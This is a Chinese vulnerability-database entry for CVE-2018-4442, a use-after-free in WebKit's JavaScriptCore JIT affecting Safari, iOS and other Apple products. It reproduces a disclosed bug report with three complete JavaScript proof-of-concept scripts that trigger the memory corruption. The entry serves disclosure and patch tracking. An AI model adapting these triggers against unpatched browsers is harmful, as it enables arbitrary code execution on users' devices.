多款Apple产品WebKit 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1422439 漏洞类型 缓冲区错误
发布时间 2019-01-16 更新时间 2019-04-10
CVE编号 CVE-2018-4442 CNNVD-ID CNNVD-201812-216
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019010172
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201812-216
|漏洞详情
Apple Safari等都是美国苹果(Apple)公司的产品。Apple Safari是一款Web浏览器,是Mac OS X和iOS操作系统附带的默认浏览器。Apple iOS是一套为移动设备所开发的操作系统。Apple tvOS是一套智能电视操作系统。WebKit是其中的一个Web浏览器引擎组件。 多款Apple产品中的WebKit组件存在缓冲区错误漏洞。攻击者可借助特制的Web内容利用该漏洞执行任意代码。以下产品和版本受到影响:Apple iOS 12.1.1之前版本;tvOS 12.1.1之前版本;Safari 12.0.2之前版本;watchOS 5.1.2之前版本;iCloud for Windows 7.9之前版本;iTunes 12.9.2 for Windows之前版本。
|漏洞EXP
WebKit: JSC: JIT: GetIndexedPropertyStorage can GC 

CVE-2018-4442


The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing some cases such as StringCharAt, StringCharCodeAt and GetByVal that might cause a garbage collection via rope strings. As a result, it can lead to UaF.

PoC 1 - StringCharAt:
function gc() {
    for (let i = 0; i < 10; i++) {
        new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(arr) {
    let r = /a/;
    let o = {};

    arr[0].charAt(0);
    arr[1].charAt(0);
    arr[2].charAt(0);
    arr[3].charAt(0);
    arr[4].charAt(0);
    arr[5].charAt(0);
    arr[6].charAt(0);
    arr[7].charAt(0);
    arr[8].charAt(0);
    arr[8].charAt(0);
    arr[9].charAt(0);

    o.x = 'a'.match(r);

    return o;
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
    }

    let a = 'a'.repeat(1024 * 1024 * 2);
    let b = 'a'.repeat(1024 * 1024 * 2);

    let arr = [];
    for (let i = 0; i < 10; i++) {
        arr[i] = a + b;
    }

    gc();

    let o = opt(arr);

    gc();

    let tmp = [1234];

    print(o.x);  // 1234
}

main();

PoC 2 - StringCharCodeAt:
function gc() {
    for (let i = 0; i < 10; i++) {
        new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(arr) {
    let r = /a/;
    let o = {};

    arr[0].charCodeAt(0);
    arr[1].charCodeAt(0);
    arr[2].charCodeAt(0);
    arr[3].charCodeAt(0);
    arr[4].charCodeAt(0);
    arr[5].charCodeAt(0);
    arr[6].charCodeAt(0);
    arr[7].charCodeAt(0);
    arr[8].charCodeAt(0);
    arr[8].charCodeAt(0);
    arr[9].charCodeAt(0);

    o.x = 'a'.match(r);

    return o;
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
    }

    let a = 'a'.repeat(1024 * 1024 * 2);
    let b = 'a'.repeat(1024 * 1024 * 2);

    let arr = [];
    for (let i = 0; i < 10; i++) {
        arr[i] = a + b;
    }

    gc();

    let o = opt(arr);

    gc();

    let tmp = [1234];

    print(o.x);  // 1234
}

main();

PoC 3 - GetByVal:
function gc() {
    for (let i = 0; i < 10; i++) {
        new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(arr) {
    let r = /a/;
    let o = {};

    arr[0][0];
    arr[1][0];
    arr[2][0];
    arr[3][0];
    arr[4][0];
    arr[5][0];
    arr[6][0];
    arr[7][0];
    arr[8][0];
    arr[8][0];
    arr[9][0];

    o.x = 'a'.match(r);

    return o;
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
    }

    let a = 'a'.repeat(1024 * 1024 * 2);
    let b = 'a'.repeat(1024 * 1024 * 2);

    let arr = [];
    for (let i = 0; i < 10; i++) {
        arr[i] = a + b;
    }

    gc();

    let o = opt(arr);

    gc();

    let tmp = [1234];

    print(o.x);  // 1234
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

|参考资料

来源:support.apple.com

链接:https://support.apple.com/zh-cn/HT209340


来源:support.apple.com

链接:https://support.apple.com/zh-cn/HT209342


来源:support.apple.com

链接:https://support.apple.com/zh-cn/HT209345


来源:support.apple.com

链接:https://support.apple.com/zh-cn/HT209346


来源:support.apple.com

链接:https://support.apple.com/zh-cn/HT209344